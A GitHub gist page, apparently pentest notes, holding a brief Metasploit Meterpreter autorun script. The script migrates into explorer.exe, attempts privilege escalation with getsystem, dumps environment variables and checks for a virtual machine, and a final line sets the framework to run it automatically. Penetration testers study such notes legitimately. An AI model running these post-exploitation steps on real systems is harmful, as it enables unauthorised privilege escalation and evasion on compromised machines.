Skip to content

Instantly share code, notes, and snippets.

@waywardsun
Forked from sckalath/metasploit_snippets
Created September 20, 2016 22:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save waywardsun/4d7d081dac55bb1b8857e52307170a7b to your computer and use it in GitHub Desktop.
Save waywardsun/4d7d081dac55bb1b8857e52307170a7b to your computer and use it in GitHub Desktop.
Metasploit snippets
#autorun script (session.rc)
migrate -k -n explorer.exe
multi_console_command -cl "getsystem","getuid"
get_env
checkvm
#setting msf to use autorunscript above
set autorunscript multiscript.rb -rc /home/ryan/session.rc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment